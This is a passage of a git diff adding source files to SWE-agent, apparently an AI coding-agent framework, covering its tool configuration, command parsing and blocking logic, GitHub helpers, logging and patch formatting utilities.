propagate_env_variables: list[str] = [] + """Environment variables to propagate to the environment. + This is useful if you want to propagate API keys or similar from your own environment to the + environment in which the tools run. + IMPORTANT NOTE: The value of the environment variables can be read in debug log files, + so be careful with your API keys! + """ + + env_variables: dict[str, Any] = { + "PAGER": "cat", + "MANPAGER": "cat", + "LESS": "-R", + "PIP_PROGRESS_BAR": "off", + "TQDM_DISABLE": "1", + "GIT_PAGER": "cat", + } + """Shorthand to set environment variables for the tools, effectively + equivalent to adding `export VARNAME=value` to the `reset_commands`. + """ + + registry_variables: dict[str, Any] = {} + """Populate the registry with these variables. Will be written out as json in the registry file.""" + + submit_command: str = "submit" + """The command/tool to use to submit the solution.""" + + parse_function: ParseFunction = Field(default_factory=FunctionCallingParser) + """The action parser that is responsible for parsing the model output into a thought and action. + """ + + enable_bash_tool: bool = True + """Whether to enable the bash tool in addition to the other tools specified in bundles.""" + + format_error_template: str = None # type: ignore + """Defaults to format_error_template in ParseFunction""" + + command_docs: str = None # type: ignore + """Automatically generated documentation generated based on + the loaded tool bundles. + """ + + multi_line_command_endings: dict[str, str] = {} + submit_command_end_name: str | None = None + + """Commands to install dependencies and tools. + These commands are executed in a subprocess and are not part of the environment state. + """ + + reset_commands: list[str | list[str]] = [] + """Commands to reset the environment. They will also be called when we start the environment. + Unlike `install_commands`, these commands are part of the environment state. + """ + + execution_timeout: int = 30 + """Timeout for executing commands in the environment""" + + install_timeout: int = 300 + """Timeout used for each of the installation commands""" + + total_execution_timeout: int = 1800 + """Timeout for executing all commands in the environment. + Note: Does not interrupt running commands, but will stop the agent for the next step. + """ + + max_consecutive_execution_timeouts: int = 3 + """Maximum number of consecutive execution timeouts before the agent exits. + """ + + @cached_property + def use_function_calling(self) -> bool: + return isinstance(self.parse_function, FunctionCallingParser) + + @cached_property + def state_commands(self) -> list[str]: + """This property returns the state commands from all bundles. + State commands are commands that are used to get the state of the environment + (e.g., the current working directory). + """ + return [bundle.state_command for bundle in self.bundles if bundle.state_command] + + # todo: move to ToolHandler? + @cached_property + def commands(self) -> list[Command]: + """Read command files and return parsed command objects""" + commands = [] + tool_sources: dict[str, Path] = {} # Track which file each tool comes from + # Add bash command if enabled + if self.enable_bash_tool: + commands.append(BASH_COMMAND) + tool_sources[BASH_COMMAND.name] = Path("") + + # Collect commands from all bundles + for bundle in self.bundles: + for command in bundle.commands: + if command.name in tool_sources: + existing_source = tool_sources[command.name] + msg = ( + f"Tool '{command.name}' is defined multiple times:\n" + f" - First definition in: {existing_source}\n" + f" - Duplicate definition in: {bundle.path}" + ) + raise ValueError(msg) + commands.append(command) + tool_sources[command.name] = bundle.path + + return commands + + @cached_property + def tools(self) -> list[dict]: + return [command.get_function_calling_tool() for command in self.commands] + + # todo: can some of these be moved to ToolHandler? + def model_post_init(self, __context): + # for caching: + commands = self.commands + multi_line_command_endings = { + command.name: command.end_name for command in commands if command.end_name is not None + } + self.tools + + # assert not self.enable_bash_tool and parse_function is FunctionCallingParser or JsonParser + if not self.enable_bash_tool and not ( + isinstance(self.parse_function, FunctionCallingParser) or isinstance(self.parse_function, JsonParser) + ): + msg = f"Bash tool can only be disabled if {FunctionCallingParser.type} parser or {JsonParser.type} parser is used." + raise ValueError(msg) + + self.multi_line_command_endings = multi_line_command_endings + self.command_docs = generate_command_docs( + self.commands, + [], + **self.env_variables, + ) + if self.format_error_template is None: + self.format_error_template = self.parse_function.format_error_template + for command in commands: + if command.name == self.submit_command: + self.submit_command_end_name = command.end_name + break + + +class ToolHandler: + def __init__(self, tools: ToolConfig): + """This class handles most of the tool usage. It has the following responsibilities: + + - Install the tools + - Parse commands and handle multiline commands + - Decide if an action should be blocked + - Get the current state of the environment + """ + # Always copy config to avoid shared state between different instances across threads + self.config = tools.model_copy(deep=True) + # partially initialized in `install_commands`. + self._reset_commands = [] + self._command_patterns = self._get_command_patterns() + self.logger = get_logger("swea-tools", emoji="🧰") + # For testing: Return this state instead of querying the environment + self.mock_state: dict[str, str] | None = None + + @classmethod + def from_config(cls, config: ToolConfig) -> Self: + return cls(config) + + # Installation & Reset + # -------------------- + + def install(self, env: SWEEnv) -> None: + self._install_commands(env) + self.reset(env) + + def reset(self, env: SWEEnv) -> None: + self.logger.info("Resetting tools") + env_variables = self.config.env_variables.copy() | { + var: os.getenv(var) for var in self.config.propagate_env_variables + } + env.set_env_variables(env_variables) + env.write_file("/root/.swe-agent-env", json.dumps(self.config.registry_variables)) + env.write_file("/root/state.json", "{}") + env.communicate(" && ".join(self._reset_commands), check="raise", timeout=self.config.install_timeout) + + async def _upload_bundles(self, env: SWEEnv) -> None: + await asyncio.gather( + *( + env.deployment.runtime.upload( + UploadRequest(source_path=bundle.path.as_posix(), target_path=f"/root/tools/{bundle.path.name}") + ) + for bundle in self.config.bundles + ) + ) + + async def _is_command_available(self, env, command: str, env_vars: dict[str, str]) -> None: + if command == "bash": + return + try: + await env.deployment.runtime.execute( + RexCommand(command=f"which {command}", shell=True, check=True, env=env_vars) + ) + except Exception: + msg = f"Tool {command} is not available in the container." + raise RuntimeError(msg) from None + + async def _check_available_commands(self, env: SWEEnv, env_vars: dict[str, str]) -> None: + await asyncio.gather( + *(self._is_command_available(env, command.name, env_vars) for command in self.config.commands) + ) + + def _install_commands(self, env: SWEEnv) -> None: + """Make sure all commands are available in the container""" + env.set_env_variables(self.config.env_variables) + cwd = env.communicate("pwd", check="raise").strip() + asyncio.run(self._upload_bundles(env)) + for bundle in self.config.bundles: + cmds = [ + f"export PATH=/root/tools/{bundle.path.name}/bin:$PATH", + f"chmod +x /root/tools/{bundle.path.name}/bin/*", + ] + if (bundle.path / "install.sh").exists(): + cmds.append(f"cd /root/tools/{bundle.path.name} && source install.sh") + cmds.append(f"chmod +x /root/tools/{bundle.path.name}/bin/*") + env.communicate( + " && ".join(cmds), + check="raise", + timeout=self.config.install_timeout, + ) + env.communicate(f"cd {cwd}", check="raise") + path = env.communicate("echo $PATH", check="raise").strip() + asyncio.run(self._check_available_commands(env, {"PATH": path})) + + # Getting state + # ------------- + + def _get_state(self, env: SWEEnv) -> dict[str, str]: + """Retrieve the state from the environment""" + try: + state_str = env.read_file("/root/state.json") + except FileNotFoundError: + self.logger.warning("State file not found, returning empty state") + return {} + if not state_str.strip(): + self.logger.warning("State file is empty, returning empty state") + return {} + try: + state = json.loads(state_str) + except json.JSONDecodeError as e: + msg = f"State {state_str!r} is not valid json. This is an internal error, please report it." + raise ValueError(msg) from e + if not isinstance(state, dict): + msg = f"State commands must return a dictionary. Got {state!r} instead." + raise ValueError(msg) + return state + + def get_state(self, env: SWEEnv) -> dict[str, str]: + """Execute state commands from all bundles and combine their results. + This can be used to extract environment variables etc. from the environment. + """ + if self.mock_state is not None: + return self.mock_state + + for state_command in self.config.state_commands: + env.communicate(state_command, check="warn") + combined_state = self._get_state(env) + self.logger.debug(f"Retrieved state from environment: {combined_state}") + return combined_state + + # Blocking + # -------- + + def should_block_action(self, action: str) -> bool: + """Check if the command should be blocked.""" + action = action.strip() + if not action: + return False + if any(action.startswith(f) for f in self.config.filter.blocklist): + return True + if action in self.config.filter.blocklist_standalone: + return True + name = action.split()[0] + if name in self.config.filter.block_unless_regex and not re.search( + self.config.filter.block_unless_regex[name], action + ): + return True + return False + + # Parsing & multiline commands + # ----------------------------- + + def check_for_submission_cmd(self, output: str) -> bool: + """Function for checking submission request.""" + if r"<>" in output: + return True + return False + + def parse_actions(self, output: dict) -> tuple[str, str]: + """Parse the model output into a thought and action.""" + return self.config.parse_function(output, self.config.commands) + + def guard_multiline_input(self, action: str) -> str: + """Split action by multiline commands, then append the first line in each multiline command with "<< '{end_name}'". + Multiline commands (which are specified by an end_name) are commands that span multiple lines and are terminated by a specific end_name. + + Their multi-line argument is sent using a heredoc, which is a way to send a multi-line string to a command in bash. + """ + return _guard_multiline_input(action, self._get_first_multiline_cmd) + + def _get_first_multiline_cmd(self, action: str) -> re.Match | None: + """Return the first match of a command pattern in the action string. + Where first match is defined by the start of the match. + + The match object has three groups: (1) command name, (2) command arguments, (3) end name + """ + patterns = { + k: v + for k, v in self._command_patterns.items() + if k in self.config.multi_line_command_endings or k == self.config.submit_command + } + matches = list() + for _, pat in patterns.items(): + match = pat.search(action) + if match: + matches.append(match) + if len(matches) == 0: + return None + matches = sorted(matches, key=lambda x: x.start()) + return matches[0] + + def _get_command_patterns(self) -> dict[str, re.Pattern]: + """Creates regular expressions for the commands""" + + _command_patterns = {} + for command in self.config.commands: + if command.end_name is not None: + pat = re.compile( + rf"^\s*({command.name})\s*(.*?)^({command.end_name})\s*$", + re.DOTALL | re.MULTILINE, + ) + _command_patterns[command.name] = pat + else: + pat = re.compile(rf"^\s*({command.name})\s*(.*?)$", re.MULTILINE) + _command_patterns[command.name] = pat + submit_pat = re.compile( + rf"^\s*({self.config.submit_command})\s*(.*?)^({self.config.submit_command_end_name})\s*$", + re.DOTALL | re.MULTILINE, + ) + _command_patterns[self.config.submit_command] = submit_pat + return _command_patterns diff --git a/sweagent/tools/utils.py b/sweagent/tools/utils.py new file mode 100644 index 0000000..4e90e89 --- /dev/null +++ b/sweagent/tools/utils.py @@ -0,0 +1,108 @@ +import re +from collections.abc import Callable +from typing import Any + +from sweagent.tools.commands import Command + + +def _guard_multiline_input(action: str, match_fct: Callable[[str], re.Match | None]) -> str: + """Split action by multiline commands, then append the first line in each multiline command with "<< '{end_name}'". + Multiline commands (which are specified by an end_name) are commands that span multiple lines and are terminated by a specific end_name. + + Their multi-line argument is sent using a heredoc, which is a way to send a multi-line string to a command in bash. + """ + parsed_action = [] + rem_action = action + while rem_action.strip(): + first_match = match_fct(rem_action) + if first_match: + pre_action = rem_action[: first_match.start()] + match_action = rem_action[first_match.start() : first_match.end()] + rem_action = rem_action[first_match.end() :] + if pre_action.strip(): + parsed_action.append(pre_action) + if match_action.strip(): + eof = first_match.group(3).strip() + if not match_action.split("\n")[0].strip().endswith(f"<< '{eof}'"): + guarded_command = match_action[first_match.start() :] + first_line = guarded_command.split("\n")[0] + guarded_command = guarded_command.replace(first_line, first_line + f" << '{eof}'", 1) + parsed_action.append(guarded_command) + else: + parsed_action.append(match_action) + else: + parsed_action.append(rem_action) + rem_action = "" + return "\n".join(parsed_action) + + +def _should_quote(value: Any, command: Command) -> bool: + """Returns True if the value should be quoted, False otherwise.""" + if command.name == "bash": + return False + return isinstance(value, str) and command.end_name is None + + +def get_signature(cmd): + """Generate a command signature from its arguments. + + Args: + cmd: Command object to generate signature for + + Returns: + Formatted signature string + """ + signature = cmd.name + if "arguments" in cmd.__dict__ and cmd.arguments is not None: + if cmd.end_name is None: + for argument in cmd.arguments: + param = argument.name + if argument.required: + signature += f" <{param}>" + else: + signature += f" [<{param}>]" + else: + for argument in cmd.arguments[:-1]: + param = argument.name + if argument.required: + signature += f" <{param}>" + else: + signature += f" [<{param}>]" + signature += f"\n{list(cmd.arguments[-1].keys())[0]}\n{cmd.end_name}" + return signature + + +def generate_command_docs( + commands: list[Command], + subroutine_types, + **kwargs, +) -> str: + """Generate detailed command documentation. + + Format includes docstring, signature and argument details. + + Args: + commands: List of commands to document + subroutine_types: List of subroutines to document + **kwargs: Additional format variables for docstrings + + Returns: + Formatted documentation string + """ + docs = "" + for cmd in commands + subroutine_types: + docs += f"{cmd.name}:\n" + if cmd.docstring is not None: + docs += f" docstring: {cmd.docstring.format(**kwargs)}\n" + if cmd.signature is not None: + docs += f" signature: {cmd.signature}\n" + else: + docs += f" signature: {get_signature(cmd)}\n" + if cmd.arguments: + docs += " arguments:\n" + for argument in cmd.arguments: + param = argument.name + req_string = "required" if argument.required else "optional" + docs += f" - {param} ({argument.type}) [{req_string}]: {argument.description}\n" + docs += "\n" + return docs diff --git a/sweagent/types.py b/sweagent/types.py new file mode 100644 index 0000000..cfd1c1d --- /dev/null +++ b/sweagent/types.py @@ -0,0 +1,102 @@ +"""This file has types/dataclass definitions that are used in the SWE agent +for exchanging data between different modules/functions/classes. +They oftentimes cannot be defined in the same file where they are used +because of circular dependencies. +""" + +from __future__ import annotations + +from typing import Any, Literal + +from pydantic import BaseModel +from typing_extensions import TypedDict + + +class StepOutput(BaseModel): + query: list[dict] = [{}] + thought: str = "" + action: str = "" + output: str = "" + observation: str = "" + execution_time: float = 0.0 + done: bool = False + exit_status: int | str | None = None + submission: str | None = None + state: dict[str, str] = {} + tool_calls: list[dict[str, Any]] | None = None + tool_call_ids: list[str] | None = None + thinking_blocks: list[dict[str, Any]] | None = None + + """State of the environment at the end of the step""" + extra_info: dict[str, Any] = {} + + def to_template_format_dict(self) -> dict[str, str | int | float | bool | None]: + """Used for formatting (error) prompt templates""" + out = {} + for k, v in self.model_dump().items(): + if k in ("tool_calls", "tool_call_ids", "state"): + continue + out[k] = v + out |= self.state + return out + + +class TrajectoryStep(TypedDict): + action: str + observation: str + response: str + state: dict[str, str] + thought: str + execution_time: float + query: list[dict[str, Any]] + extra_info: dict[str, Any] + + +# required fields go here +class _HistoryItem(TypedDict): + role: str + content: str | list[dict[str, Any]] + message_type: Literal["thought", "action", "observation"] + + +# see _HistoryItem for required fields +class HistoryItem(_HistoryItem, total=False): + agent: str + is_demo: bool + thought: str + action: str | None + tool_calls: list[dict[str, str]] | None + tool_call_ids: list[str] | None + tags: list[str] + cache_control: dict[str, Any] | None + thinking_blocks: list[dict[str, Any]] | None + + """HistoryProcessors can add these tags to enable special processing""" + + +History = list[HistoryItem] +Trajectory = list[TrajectoryStep] + + +# todo: Make this actually have the dataclasses instead of dict versions +class AgentInfo(TypedDict, total=False): + # same as `APIStats` from models.py + model_stats: dict[str, float] + exit_status: str | None + submission: str | None + # same as `ReviewerResult` + review: dict[str, Any] + edited_files30: str + edited_files50: str + edited_files70: str + # only if summarizer is used + summarizer: dict + swe_agent_hash: str + swe_agent_version: str + swe_rex_version: str + swe_rex_hash: str + + +class AgentRunResult(BaseModel): + info: AgentInfo + trajectory: Trajectory diff --git a/sweagent/utils/__init__.py b/sweagent/utils/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/sweagent/utils/config.py b/sweagent/utils/config.py new file mode 100644 index 0000000..fc59c6b --- /dev/null +++ b/sweagent/utils/config.py @@ -0,0 +1,80 @@ +from __future__ import annotations + +import os +from pathlib import Path +from typing import Any + +from dotenv import load_dotenv + +from sweagent import REPO_ROOT +from sweagent.utils.log import get_logger + +logger = get_logger("swea-config", emoji="🔧") + + +def _convert_path_relative_to_repo_root(path: Path | str, root: Path | None = None) -> Path | str: + original_type = type(path) + path = Path(path).resolve() + root = Path(root or os.getenv("SWE_AGENT_CONFIG_ROOT", REPO_ROOT)) + relative_path = path.relative_to(root) if root in path.parents else path + return relative_path if original_type is Path else str(relative_path) + + +def _could_be_a_path(v: Any) -> bool: + try: + return Path(v).exists() + except Exception: + return False + + +def _strip_abspath_from_dict(value: dict | list | str, root: Path | None = None) -> dict | list | str: + root = Path(root or os.getenv("SWE_AGENT_CONFIG_ROOT", REPO_ROOT)) + if isinstance(value, dict): + return {k: _strip_abspath_from_dict(v, root) for k, v in value.items()} + elif isinstance(value, list): + return [_strip_abspath_from_dict(v, root) for v in value] + elif isinstance(value, str) and _could_be_a_path(value): + return _convert_path_relative_to_repo_root(value, root) + else: + return value + + +def _convert_path_to_abspath(path: Path | str) -> Path: + """If path is not absolute, convert it to an absolute path + using the SWE_AGENT_CONFIG_ROOT environment variable (if set) or + REPO_ROOT as base. + """ + path = Path(path) + root = Path(os.getenv("SWE_AGENT_CONFIG_ROOT", REPO_ROOT)) + assert root.is_dir() + if not path.is_absolute(): + path = root / path + assert path.is_absolute() + return path.resolve() + + +def _convert_paths_to_abspath(paths: list[Path] | list[str]) -> list[Path]: + return [_convert_path_to_abspath(p) for p in paths] + + +def load_environment_variables(path: Path | None = None): + """Load environment variables from a .env file. + If path is not provided, we first look for a .env file in the current working + directory and then in the repository root. + """ + if path is None: + cwd_path = Path.cwd() / ".env" + repo_path = REPO_ROOT / ".env" + if cwd_path.exists(): + path = cwd_path + elif repo_path.exists(): + path = REPO_ROOT / ".env" + else: + logger.debug("No .env file found") + return + if not path.is_file(): + msg = f"No .env file found at {path}" + raise FileNotFoundError(msg) + anything_loaded = load_dotenv(dotenv_path=path) + if anything_loaded: + logger.info(f"Loaded environment variables from {path}") diff --git a/sweagent/utils/files.py b/sweagent/utils/files.py new file mode 100644 index 0000000..e78ecbb --- /dev/null +++ b/sweagent/utils/files.py @@ -0,0 +1,27 @@ +import json +from pathlib import Path +from typing import Any + +import yaml + + +def load_file(path: Path | str | None) -> Any: + """Load files based on their extension.""" + if path is None: + return None + if isinstance(path, str): + path = Path(path) + if not path.exists(): + raise FileNotFoundError(path) + if path.is_dir(): + from datasets import load_from_disk + + return load_from_disk(path) + if path.suffix in [".json", ".traj"]: + return json.loads(path.read_text()) + if path.suffix == ".jsonl": + return [json.loads(line) for line in path.read_text().splitlines() if line.strip()] + if path.suffix == ".yaml": + return yaml.safe_load(path.read_text()) + msg = f"Unsupported file extension: {path.suffix}" + raise NotImplementedError(msg) diff --git a/sweagent/utils/github.py b/sweagent/utils/github.py new file mode 100644 index 0000000..425fae8 --- /dev/null +++ b/sweagent/utils/github.py @@ -0,0 +1,154 @@ +import json +import re +import urllib.error +import urllib.request + +from ghapi.all import GhApi + +from sweagent.utils.log import get_logger + +_logger = get_logger("swea-github", emoji="🔧") + +_repo_privacy_cache: dict[str, bool] = {} + +GITHUB_ISSUE_URL_PATTERN = re.compile(r"github\.com\/(.*?)\/(.*?)\/issues\/(\d+)") + + +class InvalidGithubURL(Exception): + """Raised when a github URL is invalid""" + + +GITHUB_REPO_URL_PATTERN = re.compile(r".*[/@]?github\.com\/([^/]+)\/([^/]+)") + + +def _is_github_repo_url(data_path: str) -> bool: + """Check if data_path is an URL pointing to a github repository. + Paths to issues or PRs will also match this pattern. + """ + return GITHUB_REPO_URL_PATTERN.search(data_path) is not None + + +def _is_github_issue_url(data_path: str) -> bool: + """Check if data_path is an URL pointing to a github issue""" + return GITHUB_ISSUE_URL_PATTERN.search(data_path) is not None + + +def _get_commit(api: GhApi, owner: str, repo: str, ref: str | None = None): + """Get commit object from github api + + Args: + api (GhApi): + owner (str): Repo owner, e.g., "SWE-agent" + repo (str): Repo, e.g., "SWE-agent" + ref (str, optional): Branch, tag or commit hash + + Returns: + _type_: _description_ + """ + if ref: + return api.repos.get_commit(owner, repo, ref) # type: ignore + return api.repos.list_commits(owner, repo)[0] # type: ignore + + +def _parse_gh_issue_url(issue_url: str) -> tuple[str, str, str]: + """ + Returns: + owner: Repo owner + repo: Repo name + issue number: Issue number as str + + Raises: + InvalidGithubURL: If the URL is not a valid github issue URL + """ + match = GITHUB_ISSUE_URL_PATTERN.search(issue_url) + if not match: + msg = f"Invalid GitHub issue URL: {issue_url}" + raise InvalidGithubURL(msg) + res = match.groups() + assert len(res) == 3 + return tuple(res) # type: ignore + + +def _parse_gh_repo_url(repo_url: str) -> tuple[str, str]: + """ + Returns: + owner: Repo owner/org + repo: Repo name + + Raises: + InvalidGithubURL: If the URL is not a valid github repo URL + """ + match = GITHUB_REPO_URL_PATTERN.search(repo_url) + if not match: + msg = f"Invalid GitHub issue URL: {repo_url}" + raise InvalidGithubURL(msg) + owner, repo = match.groups() + return owner, repo.removesuffix(".git") + + +def _get_gh_issue_data(issue_url: str, *, token: str = ""): + """Returns github issue data in the form of a dictionary. + See https://docs.github.com/en/rest/issues/issues?apiVersion=2022-11-28#get-an-issue + for return format + """ + owner, repo, issue_number = _parse_gh_issue_url(issue_url) + api = GhApi(token=token) + return api.issues.get(owner, repo, issue_number) # type: ignore + + +def _get_problem_statement_from_github_issue( + owner: str, repo: str, issue_number: str, *, token: str | None = "" +) -> str: + """Return problem statement from github issue""" + api = GhApi(token=token) + issue = api.issues.get(owner, repo, issue_number) # type: ignore + title = issue.title if issue.title else "" + body = issue.body if issue.body else "" + return f"{title}\n{body}\n" + + +def _get_associated_commit_urls(org: str, repo: str, issue_number: str, *, token: str = "") -> list[str]: + """Return the URLs of commits that would close an issue.""" + api = GhApi(token=token) + # Strangely the "pull_request" field of api.issues.get is often not set + # so we have to go through the events to check if there's a commit + events = api.issues.list_events(org, repo, issue_number) # type: ignore + commit_urls = [] + for event in events: + if event.event != "referenced": + continue + if not event.commit_id: + continue + commit = api.repos.get_commit(org, repo, event.commit_id) # type: ignore + message = commit.commit.message + if f"fixes #{issue_number}" in message.lower() or f"closes #{issue_number}" in message.lower(): + commit_urls.append(commit.html_url) + return commit_urls + + +def _is_repo_private(owner_repo: str, token: str) -> bool: + """Check if a GitHub repository is private via the GitHub API. + + Returns True if the repo is private or if a 404 is returned (GitHub returns + 404 for private repos when the token lacks access). Any other HTTP or + network error is raised so callers can handle it explicitly. + """ + if owner_repo in _repo_privacy_cache: + return _repo_privacy_cache[owner_repo] + url = f"https://api.github.com/repos/{owner_repo}" + headers = {"User-Agent": "sweagent"} + if token: + headers["Authorization"] = f"token {token}" + req = urllib.request.Request(url, headers=headers) + try: + with urllib.request.urlopen(req) as resp: + data = json.loads(resp.read()) + private = data.get("private", False) + except urllib.error.HTTPError as e: + if e.code == 404: + _logger.warning("Repo '%s' returned 404 — assuming private", owner_repo) + private = True + else: + raise + _repo_privacy_cache[owner_repo] = private + return private diff --git a/sweagent/utils/jinja_warnings.py b/sweagent/utils/jinja_warnings.py new file mode 100644 index 0000000..8e562e9 --- /dev/null +++ b/sweagent/utils/jinja_warnings.py @@ -0,0 +1,14 @@ +from sweagent.utils.log import get_logger + + +def _warn_probably_wrong_jinja_syntax(template: str | None) -> None: + """Warn if the template uses {var} instead of {{var}}.""" + if template is None: + return + if "{" not in template: + return + for s in ["{%", "{ %", "{{"]: + if s in template: + return + logger = get_logger("swea-config", emoji="🔧") + logger.warning("Probably wrong Jinja syntax in template: %s. Make sure to use {{var}} instead of {var}.", template) diff --git a/sweagent/utils/log.py b/sweagent/utils/log.py new file mode 100644 index 0000000..35b487b --- /dev/null +++ b/sweagent/utils/log.py @@ -0,0 +1,175 @@ +from __future__ import annotations + +import logging +import os +import threading +import uuid +from collections.abc import Callable +from pathlib import Path, PurePath + +from rich.logging import RichHandler +from rich.text import Text + +_SET_UP_LOGGERS: set[str] = set() +_ADDITIONAL_HANDLERS: dict[str, logging.Handler] = {} +_LOG_LOCK = threading.Lock() + +logging.TRACE = 5 # type: ignore +logging.addLevelName(logging.TRACE, "TRACE") # type: ignore + + +def _interpret_level(level: int | str | None, *, default=logging.DEBUG) -> int: + if not level: + return default + if isinstance(level, int): + return level + if level.isnumeric(): + return int(level) + return getattr(logging, level.upper()) + + +_STREAM_LEVEL = _interpret_level(os.environ.get("SWE_AGENT_LOG_STREAM_LEVEL")) +_INCLUDE_LOGGER_NAME_IN_STREAM_HANDLER = False + +_THREAD_NAME_TO_LOG_SUFFIX: dict[str, str] = {} +"""Mapping from thread name to suffix to add to the logger name.""" + + +def register_thread_name(name: str) -> None: + """Register a suffix to add to the logger name for the current thread.""" + thread_name = threading.current_thread().name + _THREAD_NAME_TO_LOG_SUFFIX[thread_name] = name + + +class _RichHandlerWithEmoji(RichHandler): + def __init__(self, emoji: str, *args, **kwargs): + """Subclass of RichHandler that adds an emoji to the log message.""" + super().__init__(*args, **kwargs) + if not emoji.endswith(" "): + emoji += " " + self.emoji = emoji + + def get_level_text(self, record: logging.LogRecord) -> Text: + level_name = record.levelname.replace("WARNING", "WARN") + return Text.styled((self.emoji + level_name).ljust(10), f"logging.level.{level_name.lower()}") + + +def get_logger(name: str, *, emoji: str = "") -> logging.Logger: + """Get logger. Use this instead of `logging.getLogger` to ensure + that the logger is set up with the correct handlers. + """ + thread_name = threading.current_thread().name + if thread_name != "MainThread": + name = name + "-" + _THREAD_NAME_TO_LOG_SUFFIX.get(thread_name, thread_name) + logger = logging.getLogger(name) + if logger.hasHandlers(): + # Already set up + return logger + handler = _RichHandlerWithEmoji( + emoji=emoji, + show_time=bool(os.environ.get("SWE_AGENT_LOG_TIME", False)), + show_path=False, + ) + handler.setLevel(_STREAM_LEVEL) + # Set to lowest level and only use stream handlers to adjust levels + logger.setLevel(logging.TRACE) # type: ignore + logger.addHandler(handler) + logger.propagate = False + _SET_UP_LOGGERS.add(name) + with _LOG_LOCK: + for handler in _ADDITIONAL_HANDLERS.values(): + my_filter = getattr(handler, "my_filter", None) + if my_filter is None: + logger.addHandler(handler) + elif isinstance(my_filter, str) and my_filter in name: + logger.addHandler(handler) + elif callable(my_filter) and my_filter(name): + logger.addHandler(handler) + if _INCLUDE_LOGGER_NAME_IN_STREAM_HANDLER: + _add_logger_name_to_stream_handler(logger) + return logger + + +def add_file_handler( + path: PurePath | str, + *, + filter: str | Callable[[str], bool] | None = None, + level: int | str = logging.TRACE, # type: ignore[attr-defined] + id_: str = "", +) -> str: + """Adds a file handler to all loggers that we have set up + and all future loggers that will be set up with `get_logger`. + + Args: + filter: If str: Check that the logger name contains the filter string. + If callable: Check that the logger name satisfies the condition returned by the callable. + level: The level of the handler. + id_: The id of the handler. If not provided, a random id will be generated. + + Returns: + The id of the handler. This can be used to remove the handler later. + """ + Path(path).parent.mkdir(parents=True, exist_ok=True) + handler = logging.FileHandler(path, encoding="utf-8") + formatter = logging.Formatter("%(asctime)s - %(levelname)s - %(name)s - %(message)s") + handler.setFormatter(formatter) + handler.setLevel(_interpret_level(level)) + with _LOG_LOCK: + # Lock because other thread might be modifying the _SET_UP_LOGGERS set + for name in _SET_UP_LOGGERS: + if filter is not None: + if isinstance(filter, str) and filter not in name: + continue + if callable(filter) and not filter(name): + continue + logger = logging.getLogger(name) + logger.addHandler(handler) + handler.my_filter = filter # type: ignore + if not id_: + id_ = str(uuid.uuid4()) + _ADDITIONAL_HANDLERS[id_] = handler + return id_ + + +def remove_file_handler(id_: str) -> None: + """Remove a file handler by its id.""" + handler = _ADDITIONAL_HANDLERS.pop(id_) + with _LOG_LOCK: + # Lock because other thread might be modifying the _SET_UP_LOGGERS set + for log_name in _SET_UP_LOGGERS: + logger = logging.getLogger(log_name) + logger.removeHandler(handler) + + +def _add_logger_name_to_stream_handler(logger: logging.Logger) -> None: + for handler in logger.handlers: + if isinstance(handler, _RichHandlerWithEmoji): + formatter = logging.Formatter("[%(name)s] %(message)s") + handler.setFormatter(formatter) + + +def add_logger_names_to_stream_handlers() -> None: + """Add the logger name to the stream handler for all loggers that we have set up.""" + global _INCLUDE_LOGGER_NAME_IN_STREAM_HANDLER + _INCLUDE_LOGGER_NAME_IN_STREAM_HANDLER = True + with _LOG_LOCK: + for logger in _SET_UP_LOGGERS: + _add_logger_name_to_stream_handler(logging.getLogger(logger)) + + +def set_stream_handler_levels(level: int) -> None: + """Set the default stream level and adjust the levels of all stream handlers + to be at most the given level. + + Note: Can only be used to lower the level, not raise it. + """ + global _STREAM_LEVEL + _STREAM_LEVEL = level + with _LOG_LOCK: + for name in _SET_UP_LOGGERS: + logger = logging.getLogger(name) + for handler in logger.handlers: + if isinstance(handler, _RichHandlerWithEmoji): + current_level = handler.level + if current_level < level: + handler.setLevel(level) diff --git a/sweagent/utils/patch_formatter.py b/sweagent/utils/patch_formatter.py new file mode 100644 index 0000000..4dfef80 --- /dev/null +++ b/sweagent/utils/patch_formatter.py @@ -0,0 +1,152 @@ +from collections.abc import Callable + +from unidiff import PatchSet + + +class PatchFormatter: + def __init__( + self, + patch: str, + read_method: Callable[[str], str], + ): + """Given the final patch and access to the container that contains the repository, + extract relevant lines from the modified file. + + Args: + patch: The patch as a string. + read_method: Callable with path to file (relative to repository root) as argument + that returns the file content as a string. + """ + self._patch = PatchSet(patch) + self._patched_files: dict[str, str] = {} + self._original_files: dict[str, str] = {} + self._patch_applied = True + self._read_file = read_method + self._read_files(original=False) + + @staticmethod + def _merge_intervals(starts: list[int], stops: list[int]) -> tuple[list[int], list[int]]: + """Given two lists of integers, starts and stops, merges all overlapping intervals. + + For example `starts=[1, 5, 18]`, `stops=[10, 13, 20]` + should return `starts=[1, 18]`, `stops=[13, 20]` + """ + if not starts: + assert not stops + return [], [] + + intervals = sorted(zip(starts, stops)) + merged = [] + for start, stop in intervals: + if not merged or merged[-1][1] < start: + # No overlap + merged.append([start, stop]) + else: + # Overlap + merged[-1][1] = max(merged[-1][1], stop) + # Unzip again + merged_starts, merged_stops = zip(*merged) + return list(merged_starts), list(merged_stops) + + def format_file(self, text: str, starts: list[int], stops: list[int], *, linenos: bool = True) -> str: + """Reads file and returns string representation of the relevant lines. + + Args: + path: The path to the file within the repo location + starts: The starting line numbers of the relevant lines. The first line is line 1. + stops: The stopping line numbers of the relevant lines. The stop is not inclusive. + The first line is line 1. + linenos: Whether to include line numbers + """ + if not starts: + assert not stops + return "" + + assert len(starts) == len(stops) + assert all(start >= 1 for start in starts) + assert all(start < stop for start, stop in zip(starts, stops)) + starts, stops = self._merge_intervals(starts, stops) + assert all(hunk1_start < hunk2_start for hunk1_start, hunk2_start in zip(starts, starts[1:])) + out: list[str] = [] + if starts[0] > 1: + # Count from 1 + out.append(f"[{starts[0] - 1} lines above omitted]") + last_stop: int | None = None + lines = text.splitlines() + for start, stop in zip(starts, stops): + assert start >= 1 + if last_stop is not None: + n_omitted = start - last_stop + # Check that we have non-overlapping hunks + assert n_omitted >= 0 + if n_omitted: + out.append(f"\n[{n_omitted} lines omitted]\n") + # Count from 1 + these_lines = lines[start - 1 : stop - 1] + if linenos: + out.append("\n".join([f"{i:6d}: {l}" for i, l in enumerate(these_lines, start=start)])) + else: + out.append("\n".join(these_lines)) + last_stop = stop + if last_stop < len(lines): + # Stop is not inclusive + omitted = len(lines) - last_stop + assert omitted > 0 + out.append(f"[{omitted} lines below omitted]") + return "\n".join(out) + + def _get_hunk_lines(self, original: bool, *, context_length: int) -> dict[str, tuple[list[int], list[int]]]: 